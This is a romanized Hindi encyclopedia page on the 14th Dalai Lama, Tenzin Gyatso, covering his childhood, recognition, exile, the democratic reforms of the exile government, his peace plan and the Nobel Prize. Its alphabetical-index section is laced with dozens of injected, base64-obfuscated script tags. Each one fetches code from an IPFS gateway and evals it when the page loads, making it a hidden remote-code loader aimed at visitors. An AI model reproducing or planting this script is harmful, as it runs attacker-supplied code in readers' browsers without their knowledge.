दलाईलामा तेनजिन ग्यात्सो

	dalaeelama tenajin gyatso
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poora nam	tenajin gyatso
any nam	dalaeelama, bachapan ka nam lhamo thoandup
janm	6 julaee, 1935
janm bhoomi	poorvottar tibbat ke takteser (Taktser) tole mean
pad	tibbati dharmaguru
puraskar-upadhi	nobel puraskar

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

dalaeelama tenajin gyatso athava 'dalaee lama' (janm- 6 julaee, 1935) tibbat ke rashtradhyaksh aur adhyatmik guru haian. varsh 1949 mean tibbat par chin ke hamale ke bad paramapavan dalaee lama se kaha gaya ki vah poorn rajanitik satta apane hath mean le lean aur unhean dalaee lama ka pad de diya gaya. chin yatra par shaanti samajhauta v tibbat se sainikoan ki vapasi ki bat ko lekar 1954 mean vah mao jedaang, deang jiyopiang jaise kee chini netaoan se batachit karane ke lie bijiang bhi ge the. paramapavan dalaee lama ke shaanti sandesh, ahiansa, aantar dharmik melamilap, sarvabhaumik uttaradayitv aur karuna ke vicharoan ko manyata ke roop mean 1959 se ab tak unako 60 manad d aauktaret, puraskar, samman adi prapt hue haian.

parichay

bauddh dharm duniya ke dharmoan ka chautha sabase b da dharm hai, jisake 375 lakh anuyayi hai. bauddh dharm ke dharmaguru ko dalaee lama kaha jata hai. bauddh dharm ke 14vean dalaeelama tibbati dharmaguru tenajin gyatso^[1] hai. tenajin gyatso^[2] tibbat ke rashtradhyaksh aur adhyatmik guru haian. dalaeelama^[3] ka janm 6 julaee, 1935 ko poorvottar tibbat ke takteser^[4] kshetr mean rahane vale ek sadharan yeoman kisan parivar mean hua tha. unaka bachapan ka nam lhamo thoandup tha, jisaka arth hai manokamana poori karane vali devi. bad mean unaka nam teanjin gyatso rakha gaya. unhean matr do sal ki umr mean 13vean dalaee lama thubaten jnayatso (13th Dalai Lama, Thubten Gyatso) ka avatar bataya gaya tha. chhah sal ki umr mean hi math ke aandar unako shiksha di jane lagi. apane adhyayan kal ke dauran se hi vah bahut karmath aur samajhadar vyaktitv ke svami the.

'dalaee lama' ek mangoliyaee padavi hai, jisaka matalab hota hai- jnan ka mahasagar aur dalaee lama ke vanshaj karoona, avalokiteshvar ke buddh ke gunoan ke prakat roop mane jate hai. bodhisatv aise jnani log hote haian jinhoanne apane nirvan ko tal diya ho aur manavata ki raksha ke lie punarjanm lene ka nirnay liya ho.

praranbhik jivan

balak dalaee lama|thumb|250px chaudahavean dalaeelama ka bachapan kafi uthal-puthal bhara raha hai. terahavean dalaeelama thupten gyatso ke 1933 mean dehaant ke bad tibbati paranparaoan ke anusar chaudahavean dalaeelama ki khoj shuroo huee. isi k di mean 1937 mean uchch tibbati lamaoan v any dharmaguruoan ka ek dal uttar poorvi tibbat ke amdo praant mean pahuancha. dal jab is praant ke kuanbum pahuancha to usake sadasyoan ko yah vishvas ho chuka tha ki vah sahi raste par haian. kuanbum mean hi dal ki mulakat teanjin gyatso se huee. us balak ko dekh is bat ka abhas hua ki yahi chaudahavean dalaeelama ka avatar haian. tab lahasa se aye hue dharm guruoan ne anek prakar se us balak ki pariksha li aur yah janani chahi ki vastav mean yahian hamare dharm guru dalaee lama ke avatar haian ya phir koee aur. vibhinn pariksha ke bad jab sabhi ashvast ho gaye ki teanjin gyatso hi 14vean dalaee lama ke roop mean avatar hua hai. aantim phaisala liya gaya aur samachar tibbat ki rajadhani lhasa bheja gaya. isake bad unhean mata-pita sahit kuanbum math laya gaya jahaan vishesh samaroh mean dalaeelama ke avatar teanjig gyatso ka abhishek kiya gaya.

tibbat mean shiksha

isake bad chaudahavean dalaeelama ki shiksha-diksha ka prabandh kuanbum math mean hi kiya gaya. dalaee lama ne apani mathavasiy shiksha chhah varsh ki avastha mean praranbh ki. 23 varsh ki avastha mean varsh 1949 ke varshik monalam; prarthanaddh utsav ke dauran unhoanne jokhaang mandir, lhasa mean apani phainal pariksha di. unhoanne yah pariksha aaunars ke sath pas ki aur unhean sarvochch geshe digri lharampa; baudh darshan mean pi. ech. di. pradan ki gee.

1939 mean jab dalaeelama char varsh ke the to unhean rajadhani lhasa ke lie ravana kar diya gaya. lhasa ke nikat kuchh varishth adhikariyoan ke dal ne unase bheant ki. vahian par ek vishesh samaroh mean unhean vidhivat tibbat ka adhyatmik neta ghoshit kar diya gaya. usake bad unhean noraboolianga mahal le jaya gaya. phir matr 15 varsh ki alp ayu mean hi unhean tibbat ka rashtradhyaksh bana kar sare adhikar de diye gaye the, matr 15 varsh ki alpayu mean 17 navambar 1950 ko ve sath lakh janata ka rashtradhyaksh ban gaye. usake bad se hi unake jivan mean uthal-puthal shuroo huee. chin ke tibbat mean badhate hastakshep ke karan dalaeelama ko bahut chhoti umr mean hi kee tarah ki dikkatoan ka samana karana p da.

netritv ki zimmedariyaan

varsh 1949 mean tibbat (Tibet) par chin (China) ke hamale ke bad paramapavan dalaee lama se kaha gaya ki vah poorn rajanitik satta apane hath mean le lean aur unhean dalaee lama ka pad de diya gaya. chin yatra par shaanti samajhauta v tibbat se sainikoan ki vapasi ki bat ko lekar 1954 mean vah mao jedaang, deang jiyopiang jaise kee chini netaoan se batachit karane ke lie bijiang (Beijing) bhi ge lekin sammelan asaphal hi raha. lekin akhirakar varsh 1959 mean lhasa mean chini senaoan dvara tibbati rashtriy aandolan ko berahami se kuchale jane ke bad vah nirvasan mean jane ko majaboor ho ge. aantat: varsh 1959 mean unhean bharat mean sharan leni p di. vah uttar bharat ke shahar dharmashala (Dharamsala, Northern India) mean rah rahe haian jo keandriy tibbati prashasan ka mukhyalay hai.

tibbat dharmik manyataoan v paramparaoan ko desh hai aur yahaan l daee-jhag da v mar-kat jaise batoan arthath kahaan jaye to vidhvans par vishvas nahian karate. isake bavajood tibbat ki apani sena thi, jisamean qarib 10 hazar ke lagabhag sainik the, lekin unake pas na to chin se mukabala karane layaq adhunik hathiyar the aur na hi tibbat ki sena unake mukabale sankhya mean thi.

tibbat par chin ke hamale ke bad paramapavan dalaee lama ne sanyukt rashtr se tibbat mudde ko sulajhane ki apil ki hai. sanyukt rashtr mahasabha dvara is sanbandh mean 1959, 1961 aur 1965 mean tin prastav parit kie ja chuke haian.

lokatantrakaran ki prakriya

1963 mean paramapavan dalaee lama ne tibbat ke lie ek lokataantrik sanvidhan (Democratic Constitution) ka praroop prastut kiya. isake bad paramapavan ne isamean kee sudhar kie. halaanki, mee 1990 tak hi dalaee lama dvara kie ge moolabhoot sudharoan ko ek vastavik lokataantrik sarakar ke roop mean vastavik svaroop pradan kiya ja saka. is varsh ab tak paramapavan dvara niyukt hone vale tibbati mantrimandal; kashag aur dasavian sansad ko bhang kar diya gaya aur ne chunav karavae ge. nirvasit gyarahavian tibbati sansad ke sadasyoan ka chunav bharat v duniya ke 33 deshoan mean rahane vale tibbatiyoan ke ek vyakti ek mat ke adhar par hua. dharmashala mean keandriy nirvasit tibbati sansad me adhyaksh v upadhyaksh sahit kul 46 sadasy haian.

1992 mean paramapavan dalaee lama ne yah ghoshana ki ki jab tibbat svatantr ho jaega to usake bad sabase pahala lakshy hoga ki ek aantarim sarakar ki sthapana karana jisaki pahali prathamikata yah hogi tibbat ke lokataantrik sanvidhan ke praroop taiyar karane aur use svikar karane ke lie ek sanvidhan sabha ka chunav karana. isake bad tibbati log apani sarakar ka chunav kareange aur paramapavan dalaee lama apani sabhi rajanitik shaktiyaan navanirvachit aantarim rashtrapati ko sauanp deange.

varsh 2001 mean paramapavan dalaee lama ke paramarsh par tibbati sansad ne nirvasit tibbati sanvidhan mean sanshodhan kiya aur tibbat ke karyakari pramukh ke pratyaksh nirvachan ka pravadhan kiya. nirvachit karyakari pramukh apane kaibinet ke sahayogiyoan ka namaankan karata hai aur unaki niyukti ke lie sansad se svikriti leta hai. pahale pratyaksh nirvachit karyakari pramukh ne sitambar 2001 mean karyabhar grahan kiya.

shaanti prayas

sitanbar 1987 mean paramapavan ne tibbat ki kharab hoti sthiti ka shaantipoorn hal talashane ki disha mean pahala qadam uthate hue paanch sootriy shaanti yojana (Five Point Peace Plan) prastut ki. unhoanne yah vichar rakha ki tibbat ko 'ek abhayarany' eshiya ke hriday sthal mean sthit ek shaanti kshetr mean badala ja sakata hai jahaan sabhi sachetan prani shaanti se rah sakean aur jahaan paryavaran ki raksha ki jae. lekin chin paramapavan dalaee lama dvara rakhe ge vibhinn shaanti prastavoan par koee sakaratmak pratikriya dene mean nakam raha.

paanch sootriy shaanti yojana

21 sitambar 1987 ko ameriki kaangres (United States Congress in Washington, D.C) ke sadasyoan ko sambodhit karate hue paramapavan dalaee lama ne paanch binduoan vali nimn shaanti yojana rakhi --

samooche tibbat ko shaanti kshetr mean parivartit kiya jae.
chin us janasankhya sthanantaran niti ka parityag kare jisake dvara tibbati logoan ke astitv par khatara paida ho raha hai.
tibbati logoan ke buniyadi manavadhikar aur lokataantrik svatantrata ka samman kiya jae.
tibbat ke prakritik paryavaran ka sanrakshan v punarooddhar kiya jae aur tibbat ko nabhikiy hathiyaroan ke nirman v nabhikiy kachare ke nistaran sthal ke roop mean upayog karane ki chin ki niti par rok lage.
tibbat ki bhavishy ki sthiti aur tibbat v chini logoan ke sambandho ke bare mean ganbhir batachit shuroo ki jae.

tibbati logoan mean adar

har tibbati paramapavan dalaee lama ke sath gahara v akathaniy ju dav rakhata hai. tibbatiyoan ke lie paramapavan samooche tibbat ke pratik haian: bhoomi ke sauandary, usaki nadiyoan v jhiloan ki pavitrata, usake akash ki punitata, usake parvatoan ki dridhata aur usake logoan ki takat ka.

sarvabhaumik manyata

tibbat ki mukti ke lie ahiansak sangharsh jari rakhane hetu dalaee lama ki is koshish ko sabane saraha. chin aur tibbat ke bich ek shaantidoot ki bhoomika nibhane ke karan unhean 10 disanbar 1989 mean shaanti ka nobal puraskar (Nobel Peace Prize) diya gaya. unhoanne lagatar ahiansa ki niti ka samarthan karana jari rakha hai, yahaan tak ki atyadhik daman ki paristhiti mean bhi. shaanti, ahiansa aur har sachetan prani ki khushi ke lie kam karana paramapavan dalaee lama ke jivan ka buniyadi sidhaant hai. vah vaishvik paryavaraniy samasyaoan par bhi chianta prakat karate rahate haian. paramapavan dalaee lama ne 52 se adhik deshoan ka daura kiya hai aur kee pramukh deshoan ke rashtrapatiyoan, pradhanamantriyoan aur shasakoan se mile haian. unhoanne kee dharm ke pramukhoan aur kee pramukh vaijnanikoan se mulakat ki hai.

paramapavan ke shaanti sandesh, ahiansa, aantar dharmik melamilap, sarvabhaumik uttaradayitv aur karuna ke vicharoan ko manyata ke roop mean 1959 se ab tak unako 60 manad d aauktaret, puraskar, samman adi prapt hue haian. paramapavan ne 50 se adhik pustakean likhian haian. apane jivan par dalaee lama tenajin gyatso ke dvara likhi gee buk Freedom in Exile : The Autobiography of the Dalai Lama hai.

is samay tak dalaee lama ki lokapriyata duniya bhar mean shikhar tak pahuanch gee. eesaiyoan ke dharm guru pop ke bad log ab dalaee lama ko bhi samman aur shraddha ki drishti se dekhane lage haian. dalaee lama ne duniya bhar mean saphar karake apane vachanoan aur shiksha ko jagah jagah phailaya aur shaanti banane par zor diya. paramapavan apane ko ek sadharan baudh bhikshu hi manate haian. duniyabhar mean apani yatraoan aur vyakhyan ke dauran unaka sadharan v karoonamay svabhav unase milane vale har vyakti ko gaharaee tak prabhavit karata hai. unaka sandesh hai pyar, karuna aur kshamashilata.

dalaee lama ke sandesh

sarvabhaumik uttaradayitv

aj ke samay ki chunauti ka samana karane ke lie manushy ko sarvabhaumik uttaradayitv ki vyapak bhavana ka vikas karana chahie. ham sabako yah sikhane ki zaroorat hai ki ham n keval apane lie kary karean balki poore manavata ke labh ke lie kary karean. manav astitv ki vastavik kuanji sarvabhaumik uttaradayitv hi hai. yah vishv shaanti, prakritik sansadhanoan ke samavitaran aur bhavishy ki pidhi ke hitoan ke lie paryavaran ki uchit dekhabhal ka sabase achchha adhar hai.

bauddh dharm

mera dharm sadharan hai, mera dharm mean dayaluta hai.

paryavaran

apane grahoan ki raksha hamean usi tarah se karana chahie jaisa ki ham apane gho doan ki karate haian. ham manushy prakriti se hi janme haian isalie hamara prakriti ke khilaf jane ka koee karan nahian banata, is karan hi mai kahata hooan ki paryavaran dharm nitishastra ya naitikata ka mamala nahian hai. yah sab aisi vilasitaean haian jinake bina bhi ham gujar-basar kar sakate haian lekin yadi ham prakriti ke viraph jate haian to ham jianda nahian rah sakate.

bharat

ek sharanarthi ke roop mean ham tibbati log bharat ke logoan ke prati hamesha kritajnata mahasoos karate haian, n keval isalie ki bharat ne tibbatiyoan ki is pidhi ko sahayata aur sharan diya hai, balki isalie bhi kee pidhiyoan se tibbati logoan ne is desh se pathaprakash aur budhamitta prapt ki hai. isalie ham hamesha bharat ke prati abhari rahate haian. yadi saanskritik najarie se dekha jae to ham bharatiy sanskriti ke anuyayi haian.

chin

ham chini logoan ya chini netaoan ke khilaf nahian haian akhir ve bhi ek manushy ke roop mean hamare bhaee-bahan haian. yadi unhean khud nirnay lene ki svatantrata hoti to ve khud ko is prakar ki vinashak gatividhi mean nahian lagate ya aisa koee kam nahian karate jisase unaki badanami hoti ho. mai unake lie karuna ki bhavana rakhata hooan.’

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ Tenzin Gyatso
↑ Tenzin Gyatso
↑ Dalai Lama
↑ Taktser

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] Tenzin Gyatso

[2] Tenzin Gyatso

[3] Dalai Lama

[4] Taktser

[1]

[2]

[3]

[4]

dalaeelama tenajin gyatso
\|200px\|center
poora nam	tenajin gyatso
any nam	dalaeelama, bachapan ka nam lhamo thoandup
janm	6 julaee, 1935
janm bhoomi	poorvottar tibbat ke takteser (Taktser) tole mean
pad	tibbati dharmaguru
puraskar-upadhi	nobel puraskar